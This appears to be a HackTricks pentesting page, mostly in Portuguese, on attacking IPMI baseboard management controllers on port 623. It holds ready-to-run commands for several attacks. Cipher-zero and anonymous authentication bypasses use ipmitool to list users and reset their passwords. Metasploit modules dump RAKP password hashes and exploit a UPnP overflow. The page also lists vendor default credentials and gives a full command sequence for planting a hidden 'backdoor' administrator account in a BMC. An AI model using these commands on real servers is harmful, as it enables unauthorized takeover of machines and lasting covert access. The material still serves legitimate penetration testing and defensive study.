# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Basic Information
### **Overview of IPMI**
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** oferece uma abordagem padronizada para gerenciamento e monitoramento remoto de sistemas computacionais, independente do sistema operacional ou estado de energia. Esta tecnologia permite que administradores de sistema gerenciem sistemas remotamente, mesmo quando estão desligados ou não respondem, e é especialmente útil para:
- Configurações de pré-inicialização do sistema operacional
- Gerenciamento de desligamento
- Recuperação de falhas do sistema
O IPMI é capaz de monitorar temperaturas, voltagens, velocidades de ventiladores e fontes de alimentação, além de fornecer informações de inventário, revisar logs de hardware e enviar alertas via SNMP. Essencial para seu funcionamento são uma fonte de energia e uma conexão LAN.
Desde sua introdução pela Intel em 1998, o IPMI tem sido suportado por diversos fornecedores, aprimorando as capacidades de gerenciamento remoto, especialmente com o suporte da versão 2.0 para serial over LAN. Os componentes principais incluem:
- **Baseboard Management Controller (BMC):** O microcontrolador principal para operações de IPMI.
- **Buses e Interfaces de Comunicação:** Para comunicação interna e externa, incluindo ICMB, IPMB e várias interfaces para conexões locais e de rede.
- **Memória IPMI:** Para armazenar logs e dados.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Porta Padrão**: 623/UDP/TCP (Normalmente está no UDP, mas também pode estar rodando no TCP)
## Enumeration
### Discovery
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
Você pode **identificar** a **versão** usando:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### Vulnerabilidades do IPMI
No âmbito do IPMI 2.0, uma falha de segurança significativa foi descoberta por Dan Farmer, expondo uma vulnerabilidade através do **tipo de cifra 0**. Esta vulnerabilidade, documentada em detalhes na [pesquisa de Dan Farmer](http://fish2.com/ipmi/cipherzero.html), permite acesso não autorizado com qualquer senha, desde que um usuário válido seja alvo. Essa fraqueza foi encontrada em vários BMCs de fabricantes como HP, Dell e Supermicro, sugerindo um problema generalizado em todas as implementações do IPMI 2.0.
### **Bypass de Autenticação do IPMI via Cifra 0**
Para detectar essa falha, o seguinte scanner auxiliar do Metasploit pode ser empregado:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
A exploração dessa falha é alcançável com `ipmitool`, conforme demonstrado abaixo, permitindo a listagem e modificação de senhas de usuários:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **Recuperação de Hash de Senha Remota de Autenticação RAKP do IPMI 2.0**
Essa vulnerabilidade permite a recuperação de senhas hash salgadas (MD5 e SHA1) para qualquer nome de usuário existente. Para testar essa vulnerabilidade, o Metasploit oferece um módulo:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **Autenticação Anônima IPMI**
Uma configuração padrão em muitos BMCs permite acesso "anônimo", caracterizado por strings de nome de usuário e senha nulas. Essa configuração pode ser explorada para redefinir senhas de contas de usuário nomeadas usando `ipmitool`:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI Senhas em Texto Claro**
Uma escolha de design crítica no IPMI 2.0 exige o armazenamento de senhas em texto claro dentro dos BMCs para fins de autenticação. O armazenamento dessas senhas pela Supermicro em locais como `/nv/PSBlock` ou `/nv/PSStore` levanta preocupações significativas de segurança:
```bash
cat /nv/PSBlock
```
### **Vulnerabilidade UPnP do IPMI da Supermicro**
A inclusão de um ouvinte SSDP UPnP no firmware IPMI da Supermicro, particularmente na porta UDP 1900, introduz um grave risco de segurança. Vulnerabilidades no Intel SDK para Dispositivos UPnP versão 1.3.1, conforme detalhado pela [divulgação da Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), permitem acesso root ao BMC:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**A HP randomiza a senha padrão** para seu produto **Integrated Lights Out (iLO)** durante a fabricação. Essa prática contrasta com outros fabricantes, que tendem a usar **credenciais padrão estáticas**. Um resumo de nomes de usuários e senhas padrão para vários produtos é fornecido a seguir:
- **HP Integrated Lights Out (iLO)** usa uma **string aleatória de 8 caracteres** como sua senha padrão, demonstrando um nível de segurança mais alto.
- Produtos como **iDRAC da Dell, IMM da IBM** e **Controlador de Gerenciamento Remoto Integrado da Fujitsu** usam senhas facilmente adivinháveis, como "calvin", "PASSW0RD" (com um zero) e "admin", respectivamente.
- Da mesma forma, **Supermicro IPMI (2.0), Oracle/Sun ILOM** e **ASUS iKVM BMC** também usam credenciais padrão simples, com "ADMIN", "changeme" e "admin" servindo como suas senhas.
## Accessing the Host via BMC
O acesso administrativo ao Controlador de Gerenciamento de Placa Base (BMC) abre vários caminhos para acessar o sistema operacional do host. Uma abordagem simples envolve explorar a funcionalidade de Teclado, Vídeo e Mouse (KVM) do BMC. Isso pode ser feito reiniciando o host para um shell root via GRUB (usando `init=/bin/sh`) ou inicializando a partir de um CD-ROM virtual configurado como disco de resgate. Esses métodos permitem a manipulação direta do disco do host, incluindo a inserção de backdoors, extração de dados ou quaisquer ações necessárias para uma avaliação de segurança. No entanto, isso requer a reinicialização do host, o que é uma desvantagem significativa. Sem reiniciar, acessar o host em execução é mais complexo e varia com a configuração do host. Se o console físico ou serial do host permanecer logado, pode ser facilmente assumido através das funcionalidades KVM ou serial-over-LAN (sol) do BMC via `ipmitool`. Explorar a exploração de recursos de hardware compartilhados, como o barramento i2c e o chip Super I/O, é uma área que demanda mais investigação.
## Introducing Backdoors into BMC from the Host
Ao comprometer um host equipado com um BMC, a **interface BMC local pode ser aproveitada para inserir uma conta de usuário backdoor**, criando uma presença duradoura no servidor. Este ataque requer a presença de **`ipmitool`** no host comprometido e a ativação do suporte ao driver BMC. Os seguintes comandos ilustram como uma nova conta de usuário pode ser injetada no BMC usando a interface local do host, o que contorna a necessidade de autenticação. Essa técnica é aplicável a uma ampla gama de sistemas operacionais, incluindo Linux, Windows, BSD e até mesmo DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `port:623`
## Referências
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}